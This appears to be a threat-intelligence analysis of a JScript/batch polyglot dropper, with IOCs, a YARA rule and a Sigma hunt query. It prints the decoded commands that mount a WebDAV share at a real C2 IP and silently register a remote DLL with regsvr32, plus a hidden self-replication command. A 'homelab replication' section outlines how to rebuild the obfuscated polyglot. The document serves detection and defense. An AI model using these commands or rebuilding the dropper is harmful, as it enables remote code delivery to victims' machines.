d1af0ff50c793f0f941bd1c38511dc87c050d42185f54ffac5861a31c7d2e20dUnclassified JS WebDAV Dropper: d1af0ff50c79 — Polyglot batch/JS, WebDAV C2 45.9.74.13:8888, 674.dll
Executive Summary:
Sixteenth confirmed sibling of the unclassified-js-webdav-dropper family. This sample (1038027152740111169.js) is a polyglot JScript/batch file that uses SET variable expansion to assemble a batch payload inside a JavaScript comment block, then executes via WScript.Shell. The batch mounts a WebDAV share at 45.9.74.13:8888 and silently registers 674.dll via regsvr32 /s. The JS layer also self-replicates by copying the script to %userprofile%\qeygwp.bat and executing it. No sandbox gates, no persistence, no PowerShell — a minimal one-shot dropper. Static-only analysis (no CAPE detonation; JS is not a supported binary class).
What It Is
| Attribute | Value |
|---|---|
| SHA-256 | d1af0ff50c793f0f941bd1c38511dc87c050d42185f54ffac5861a31c7d2e20d |
| Filename | 1038027152740111169.js |
| Size | 5,910 bytes |
| File Type | ASCII text, with very long lines (3738), with CRLF line terminators ^[file.txt] |
| Family | unclassified-js-webdav-dropper (sixteenth confirmed sibling) |
| Obfuscation | Shared-prefix SET variable expansion (iqrstg) with 62 entries |
| C2 | WebDAV 45.9.74.13:8888 (previously unseen IP for this family) |
| Payload | 674.dll (previously unseen filename for this family) |
| Execution | regsvr32 /s via batch; self-replication via JScript WScript.Shell.Run |
| Persistence | None observed |
| Sandbox Gate | None observed |
The sample is a polyglot: lines 1–66 form a batch script (inside a JS /* ... */ comment block), while line 67 onwards is valid JScript. When saved as .js, Windows Script Host (wscript.exe) executes the JScript portion; the batch portion is ignored because it's inside a comment. When saved as .bat, cmd.exe executes the batch portion directly. This dual-execution path is a deliberate anti-triage measure — the file type depends on the extension chosen by the attacker or victim.
How It Works
Batch Layer (Lines 1–66)
The batch layer defines 62 SET variables with a shared prefix iqrstg and random suffixes, each mapping to a single character. Two batch commands are assembled via %VAR% expansion:
net use \\45.9.74.13@8888\DavWWWRoot\
regsvr32 /s \\45.9.74.13@8888\DavWWWRoot\674.dll
This mounts the WebDAV share and silently registers the DLL payload. No net use /delete cleanup is present — a quick operational signature.
JScript Layer (Lines 67–End)
The JScript layer builds an identical character map in an array iqrstg, then uses the Function('return this')() constructor to obtain the global object (WScript host). It chains:
Function('return this')()→ global object (WScript)['WScript']['CreateObject']('WScript.Shell')→ WScript.Shell instance['Shell']['Run']('cmd /k copy ...', 0, false)→ hidden window, async execution
The decoded Run argument is:
cmd /k copy "WScript.ScriptFullName" "%userprofile%\\qeygwp.bat" && "%userprofile%\\qeygwp.bat"
This copies the script itself to %userprofile%\qeygwp.bat and executes it — a self-replication mechanism that ensures the payload runs even if the original file is moved or deleted. The 0 argument to Run hides the window; false means the call returns immediately (async).
Decompiled Behavior
Not applicable — the sample is a script, not a compiled binary. No Ghidra, radare2, or capa analysis is possible. The floss.txt and capa.txt entries in the triage directory are artifacts from the automated pipeline (which attempted to run FLARE tools on a text file) and should be ignored.
C2 Infrastructure
| Indicator | Value | Provenance |
|---|---|---|
| WebDAV IP | 45.9.74.13 |
Decoded batch command ^[strings.txt:65] |
| WebDAV Port | 8888 |
Decoded batch command ^[strings.txt:65] |
| Payload Filename | 674.dll |
Decoded batch command ^[strings.txt:66] |
| Execution Method | regsvr32 /s |
Decoded batch command ^[strings.txt:66] |
| Self-Replicate Path | %userprofile%\qeygwp.bat |
Decoded JS WScript.Shell.Run argument |
The C2 IP 45.9.74.13 is a new addition to the family — previous siblings used 45.9.74.32, 45.9.74.36, cloudslimit.com, cloudskimit.com, and dailywebstats.com. This confirms the family's ongoing C2 rotation.
Interesting Tidbits
- Polyglot anti-triage: The file is simultaneously valid batch and valid JScript — the extension determines which engine executes it. This defeats simple
filecommand identification (reports "ASCII text") and may confuse analysts expecting a pure JS or pure batch dropper. ^[file.txt] - Shared-prefix SET obfuscation: All 62 batch variables share the prefix
iqrstg— a fixed-prefix, random-suffix pattern that makes bulk extraction trivial (grep forset iqrstg) but slows manual eyeball analysis. This is the same pattern observed in siblingse777fd64(hbutc),ed6b2cd3(labzf),c6e24c16(nmnmd), andceacabb4(mnihx). ^[strings.txt:1-64] - No sandbox gate: Unlike the Brazilian unclassified-js-dropper cluster (which checks for
aspnet_compiler), this family has no sandbox or debugger checks — it executes immediately on any Windows host with WScript or cmd. ^[dynamic-analysis.md] - Self-replication: The JScript layer copies the file to
%userprofile%\qeygwp.batand re-executes it — a simple but effective persistence-by-replication technique that doesn't require registry or scheduled tasks. This is the first observed self-replication in the WebDAV dropper family; previous siblings relied on one-shot execution. - No PowerShell: Unlike dictionary-lookup siblings (
e6ebae6a,fb353965,cc90d6c,ccb2d007) which wrap execution inpowershell.exe -EncodedCommand, this sample uses purecmd /k— reducing the process tree footprint and avoiding PowerShell logging. ^[strings.txt:65-66]
How To Mess With It (Homelab Replication)
Reproduce the Polyglot
-
Create the batch layer:
- Define 62
SETvariables with a shared prefix and random suffixes, each mapping to a single character. - Assemble two batch commands via
%VAR%expansion:net useandregsvr32 /s.
- Define 62
-
Wrap in JS comment:
- Prefix the batch block with
/*and suffix with*/ //iqrstg. - Append the JScript layer that builds the same character map, uses
Function('return this')()to get WScript, and callsWScript.Shell.Runwith the self-replication command.
- Prefix the batch block with
-
Test dual execution:
- Save as
.jsand run withwscript.exe— the JScript layer executes. - Save as
.batand run withcmd.exe— the batch layer executes.
- Save as
Verify Behavior
-
Expected process tree:
.jspath:wscript.exe→cmd.exe /k copy ... && ...→regsvr32 /s(if batch re-executes) or directwscript.exeself-replication..batpath:cmd.exe→net use→regsvr32 /s.
-
Expected files:
%userprofile%\qeygwp.batcreated and executed (JScript path).674.dllfetched from WebDAV and loaded (batch path).
-
Expected network:
- HTTP WebDAV traffic to
45.9.74.13:8888(TCP 8888).
- HTTP WebDAV traffic to
Deployable Signatures
YARA Rule
rule webdav_dropper_iqrstg {
meta:
description = "WebDAV dropper with shared-prefix SET obfuscation (iqrstg prefix)"
author = "analyst"
date = "2026-06-25"
hash = "d1af0ff50c793f0f941bd1c38511dc87c050d42185f54ffac5861a31c7d2e20d"
strings:
$prefix = "set iqrstg" ascii wide
$webdav1 = "net use \\\" ascii wide
$webdav2 = "DavWWWRoot" ascii wide
$regsvr = "regsvr32 /s" ascii wide
$self_rep = "qeygwp.bat" ascii wide
$js_comment_start = "/* iqrstg" ascii wide
$js_comment_end = "*/ //iqrstg" ascii wide
condition:
$prefix and ($webdav1 or $webdav2) and $regsvr
}
Behavioral Hunt Query (Sigma)
title: WebDAV Dropper Execution - Shared Prefix SET Obfuscation
logsource:
product: windows
detection:
selection:
- CommandLine|contains:
- 'net use \\\"
- 'DavWWWRoot'
- 'regsvr32 /s'
- CommandLine|contains|all:
- 'cmd /k copy'
- 'qeygwp.bat'
condition: selection
falsepositives:
- Unknown
level: high
IOC List
| Indicator | Type | Value |
|---|---|---|
| SHA-256 | Hash | d1af0ff50c793f0f941bd1c38511dc87c050d42185f54ffac5861a31c7d2e20d |
| Filename | File | 1038027152740111169.js |
| WebDAV C2 | IP:Port | 45.9.74.13:8888 |
| Payload | File | 674.dll |
| Self-Replicate | File | %userprofile%\qeygwp.bat |
| Process | Path | wscript.exe → cmd.exe /k copy ... |
| Process | Path | cmd.exe → net use → regsvr32 /s |
Behavioral Fingerprint
This binary is a polyglot JScript/batch file that defines 62 SET variables with a shared prefix (iqrstg) to assemble a batch payload via %VAR% expansion. The batch mounts a WebDAV share at 45.9.74.13:8888 and silently registers 674.dll via regsvr32 /s. The JScript layer uses Function('return this')() to obtain the WScript global object, creates a WScript.Shell instance, and calls Run with a hidden-window (0), async (false) command that copies the script to %userprofile%\qeygwp.bat and re-executes it — achieving self-replication without registry or scheduled-task persistence. No sandbox gates, no PowerShell, no anti-debug — a minimal one-shot dropper with a self-replication twist.
Detection Signatures
| Capa/ATT&CK | Evidence | Provenance |
|---|---|---|
| T1059.005 (Visual Basic / JScript) | WScript .js execution |
Decoded JS WScript.Shell.Run ^[strings.txt:67] |
| T1059.003 (Windows Command Shell) | cmd.exe /k copy ... |
Decoded JScript Run argument ^[strings.txt:67] |
| T1218.010 (Regsvr32) | regsvr32 /s \\...\DavWWWRoot\674.dll |
Decoded batch command ^[strings.txt:66] |
| T1105 (Ingress Tool Transfer) | net use mounts WebDAV; regsvr32 fetches DLL |
Decoded batch commands ^[strings.txt:65-66] |
| T1027 (Obfuscated Files or Information) | Shared-prefix SET obfuscation; polyglot structure | File structure ^[strings.txt:1-67] |
| T1036.005 (Match Legitimate Name or Location) | regsvr32 is signed system binary |
Decoded batch command ^[strings.txt:66] |
References
- SHA-256:
d1af0ff50c793f0f941bd1c38511dc87c050d42185f54ffac5861a31c7d2e20d - Filename:
1038027152740111169.js - Source: OpenCTI / MalwareBazaar
- Family: unclassified-js-webdav-dropper
- Sibling Analyses:
da58243c—su.js, JScript/batch polyglot, WebDAV C245.9.74.13:8888,67.dllpayload. ^[/intel/analyses/da58243c46d0bf1d3d12b48198587fc972cda5589c5039ec6e1ff27a8c0b72b8.html]ffd5d894—28773160832892112964.bat, pure batch, natural-language SET obfuscation, WebDAV C245.9.74.36:8888,24013635923706.dllpayload. ^[/intel/analyses/ffd5d894f5e350baace2342fc3c2c7de63a82138469db1694c35c732cf0c9df4.html]
Provenance
- Analysis based on manual static deobfuscation of the JScript/batch polyglot file.
- Tools used: Python 3 (manual string replacement),
file(file type),cat(content inspection). - No CAPE detonation — file type (
ASCII text) is not a supported binary class for detonation. ^[dynamic-analysis.md] - Date: 2026-06-25